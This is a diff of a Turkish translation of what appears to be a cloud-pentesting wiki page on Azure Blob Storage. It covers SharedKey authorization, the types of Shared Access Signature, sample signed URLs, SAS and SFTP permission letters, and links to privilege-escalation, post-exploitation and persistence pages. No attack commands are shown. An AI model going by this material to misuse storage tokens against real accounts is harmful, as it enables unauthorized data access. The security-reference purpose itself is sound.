Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
|
||||
#e.g.
|
||||
@@ -177,72 +177,72 @@ x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
|
||||
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
|
||||
Content-Length: 0
|
||||
```
|
||||
### **Paylaşılan Erişim İmzası** (SAS)
|
||||
### **Shared Access Signature** (SAS)
|
||||
|
||||
Shared Access Signatures (SAS), bir Azure Storage hesabındaki kaynaklara erişim için hesap erişim anahtarlarını açığa çıkarmadan belirli izinler veren, güvenli ve zaman sınırlı URL'lerdir. Erişim anahtarları tüm kaynaklara tam yönetici erişimi sağlarken, SAS okuma veya yazma gibi izinleri belirleyerek ve bir sona erme zamanı tanımlayarak ayrıntılı kontrol sağlar.
|
||||
Shared Access Signatures (SAS), hesabın erişim anahtarlarını açığa çıkarmadan Azure Storage hesabındaki kaynaklara erişim için belirli izinler veren güvenli, süreli URL'lerdir. Erişim anahtarları tüm kaynaklara tam yönetici erişimi sağlarken, SAS izinleri (ör. read veya write) belirleyerek ve bir sona erme zamanı tanımlayarak ayrıntılı kontrol sağlar.
|
||||
|
||||
#### SAS Türleri
|
||||
#### SAS Types
|
||||
|
||||
- **User delegation SAS**: Bu, SAS'ı imzalayacak ve kullanıcıdan SAS'a izinleri devredecek bir **Entra ID principal** tarafından oluşturulur. Yalnızca **blob ve data lake storage** ile kullanılabilir ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Oluşturulan user delegated SAS'ların tamamını **iptal etmek (revoke)** mümkündür.
|
||||
- Bir delegation SAS, kullanıcının sahip olduğundan "daha fazla" izinle oluşturulabilir. Ancak principal bu izinlere sahip değilse çalışmaz (privesc olmaz).
|
||||
- **Service SAS**: Bu, storage account **access keys**'lerden biri kullanılarak imzalanır. Tek bir storage servisi içindeki belirli kaynaklara erişim vermek için kullanılabilir. Anahtar yenilenirse, SAS çalışmaz.
|
||||
- **Account SAS**: Bu da storage account **access keys**'lerden biriyle imzalanır. Bir storage account hizmetleri genelinde (Blob, Queue, Table, File) kaynaklara erişim verir ve servis düzeyinde işlemleri içerebilir.
|
||||
- **User delegation SAS**: Bu, SAS'i imzalayacak ve kullanıcının izinlerini SAS'e devredecek bir **Entra ID principal**'inden oluşturulur. Sadece **blob and data lake storage** ile kullanılabilir ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). Oluşturulan tüm user delegated SAS'leri **revoke** etmek mümkündür.
|
||||
- Kullanıcının sahip olduğu izinlerden "daha fazla" izinle bir delegation SAS oluşturmak mümkün olsa bile, principal bu izinlere sahip değilse çalışmaz (no privesc).
|
||||
- **Service SAS**: Bu, storage account'un bir **access key**'i kullanılarak imzalanır. Tek bir storage service içindeki belirli kaynaklara erişim vermek için kullanılabilir. Eğer anahtar yenilenirse, SAS çalışmayı durdurur.
|
||||
- **Account SAS**: Bu da storage account'un bir **access key** ile imzalanır. Bir storage account servisleri (Blob, Queue, Table, File) genelinde kaynaklara erişim verir ve service-seviyesinde işlemleri içerebilir.
|
||||
|
||||
Bir access key ile imzalanmış SAS URL'si şöyle görünür:
|
||||
Bir **access key** ile imzalanmış bir SAS URL'si şöyle görünür:
|
||||
|
||||
- `https://<container_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
||||
|
||||
Bir user delegation olarak imzalanmış SAS URL'si şöyle görünür:
|
||||
Bir **user delegation** olarak imzalanmış bir SAS URL'si şöyle görünür:
|
||||
|
||||
- `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
|
||||
|
||||
Bazı **http parametreleri**:
|
||||
Bazı **http params**'lere dikkat:
|
||||
|
||||
- **`se`** parametresi SAS'ın **sona erme tarihini** gösterir
|
||||
- **`sp`** parametresi SAS'ın **izinlerini** gösterir
|
||||
- **`sig`** SAS'ı doğrulayan **imzadır**
|
||||
- The **`se`** param indicates the **expiration date** of the SAS
|
||||
- The **`sp`** param indicates the **permissions** of the SAS
|
||||
- The **`sig`** is the **signature** validating the SAS
|
||||
|
||||
#### SAS izinleri
|
||||
#### SAS permissions
|
||||
|
||||
SAS oluştururken hangi izinleri vereceği belirtilmelidir. SAS'ın oluşturulduğu nesneye bağlı olarak farklı izinler dahil edilebilir. Örneğin:
|
||||
SAS oluşturulurken hangi izinleri vereceği belirtilmelidir. SAS'in oluşturulduğu nesneye bağlı olarak farklı izinler dahil edilebilir. Örneğin:
|
||||
|
||||
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
|
||||
|
||||
## Azure Blob Storage için SFTP Desteği
|
||||
## SFTP Support for Azure Blob Storage
|
||||
|
||||
Azure Blob Storage artık SSH File Transfer Protocol (SFTP) desteği sunar; bu sayede özel çözümler veya üçüncü taraf ürünler gerektirmeden doğrudan Blob Storage'a güvenli dosya transferi ve yönetim yapılabilir.
|
||||
|
||||
### Temel Özellikler
|
||||
### Key Features
|
||||
|
||||
- Protokol Desteği: SFTP, hierarchical namespace (HNS) ile yapılandırılmış Blob Storage hesaplarıyla çalışır. Bu, blob'ları daha kolay gezinme için dizinlere ve alt dizinlere organize eder.
|
||||
- Güvenlik: SFTP, kimlik doğrulama için local user kimliklerini kullanır ve RBAC veya ABAC ile entegre olmaz. Her local user şu yollarla kimlik doğrulayabilir:
|
||||
- Protocol Support: SFTP, hierarchical namespace (HNS) ile yapılandırılmış Blob Storage hesaplarıyla çalışır. Bu, blob'ları daha kolay gezinme için dizinlere ve alt dizinlere organize eder.
|
||||
- Security: SFTP kimlik doğrulaması için local user identities kullanır ve RBAC veya ABAC ile entegre olmaz. Her local user şu yollarla kimlik doğrulayabilir:
|
||||
- Azure-generated passwords
|
||||
- Public-private SSH key pairs
|
||||
- Ayrıntılı İzinler: Read, Write, Delete ve List gibi izinler local user'lara en fazla 100 container için atanabilir.
|
||||
- Ağ Düşünceleri: SFTP bağlantıları 22 numaralı port üzerinden yapılır. Azure, SFTP trafiğini güvence altına almak için firewall'lar, private endpoints veya virtual networks gibi ağ yapılandırmalarını destekler.
|
||||
- Granular Permissions: Read, Write, Delete ve List gibi izinler local kullanıcılarına 100 adede kadar container için atanabilir.
|
||||
- Networking Considerations: SFTP bağlantıları port 22 üzerinden yapılır. Azure, SFTP trafiğini güvence altına almak için firewalls, private endpoints veya virtual networks gibi ağ yapılandırmalarını destekler.
|
||||
|
||||
### Kurulum Gereksinimleri
|
||||
### Setup Requirements
|
||||
|
||||
- Hierarchical Namespace: Storage hesabı oluşturulurken HNS etkin olmalıdır.
|
||||
- Desteklenen Şifreleme: Microsoft Security Development Lifecycle (SDL) tarafından onaylanmış kriptografik algoritmaları (örn. rsa-sha2-256, ecdsa-sha2-nistp256) gerektirir.
|
||||
- SFTP Konfigürasyonu:
|
||||
- Storage hesabında SFTP'yi etkinleştirin.
|
||||
- Uygun izinlere sahip local user kimlikleri oluşturun.
|
||||
- Kullanıcıların container içindeki başlangıç konumlarını tanımlamak için home directory'leri yapılandırın.
|
||||
- Hierarchical Namespace: Storage account oluştururken HNS etkinleştirilmelidir.
|
||||
- Supported Encryption: Microsoft Security Development Lifecycle (SDL) tarafından onaylı kriptografik algoritmalar gerektirir (ör. rsa-sha2-256, ecdsa-sha2-nistp256).
|
||||
- SFTP Configuration:
|
||||
- Enable SFTP on the storage account.
|
||||
- Create local user identities with appropriate permissions.
|
||||
- Configure home directories for users to define their starting location within the container.
|
||||
|
||||
### İzinler
|
||||
### Permissions
|
||||
|
||||
| İzin | Sembol | Açıklama |
|
||||
| Permission | Symbol | Description |
|
||||
| ---------------------- | ------ | ------------------------------------ |
|
||||
| **Read** | `r` | Dosya içeriğini okuma. |
|
||||
| **Write** | `w` | Dosya yükleme ve dizin oluşturma. |
|
||||
| **List** | `l` | Dizin içeriklerini listeleme. |
|
||||
| **Delete** | `d` | Dosya veya dizin silme. |
|
||||
| **List** | `l` | Dizinlerin içeriğini listeleme. |
|
||||
| **Delete** | `d` | Dosya veya dizinleri silme. |
|
||||
| **Create** | `c` | Dosya veya dizin oluşturma. |
|
||||
| **Modify Ownership** | `o` | Sahip kullanıcı veya grubu değiştirme. |
|
||||
| **Modify Permissions** | `p` | Dosya veya dizinlerde ACL'leri değiştirme. |
|
||||
| **Modify Ownership** | `o` | Sahip kullanıcıyı veya grubu değiştirme. |
|
||||
| **Modify Permissions** | `p` | Dosya veya dizinlerin ACL'lerini değiştirme. |
|
||||
|
||||
## Keşif
|
||||
## Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -441,19 +441,19 @@ New-AzStorageBlobSASToken `
|
||||
az-file-shares.md
|
||||
{{#endref}}
|
||||
|
||||
## Yetki Yükseltme
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Sömürme Sonrası
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-blob-storage-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Kalıcı Erişim
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-storage-persistence.md
|
||||
|
||||
Reference in New Issue
Block a user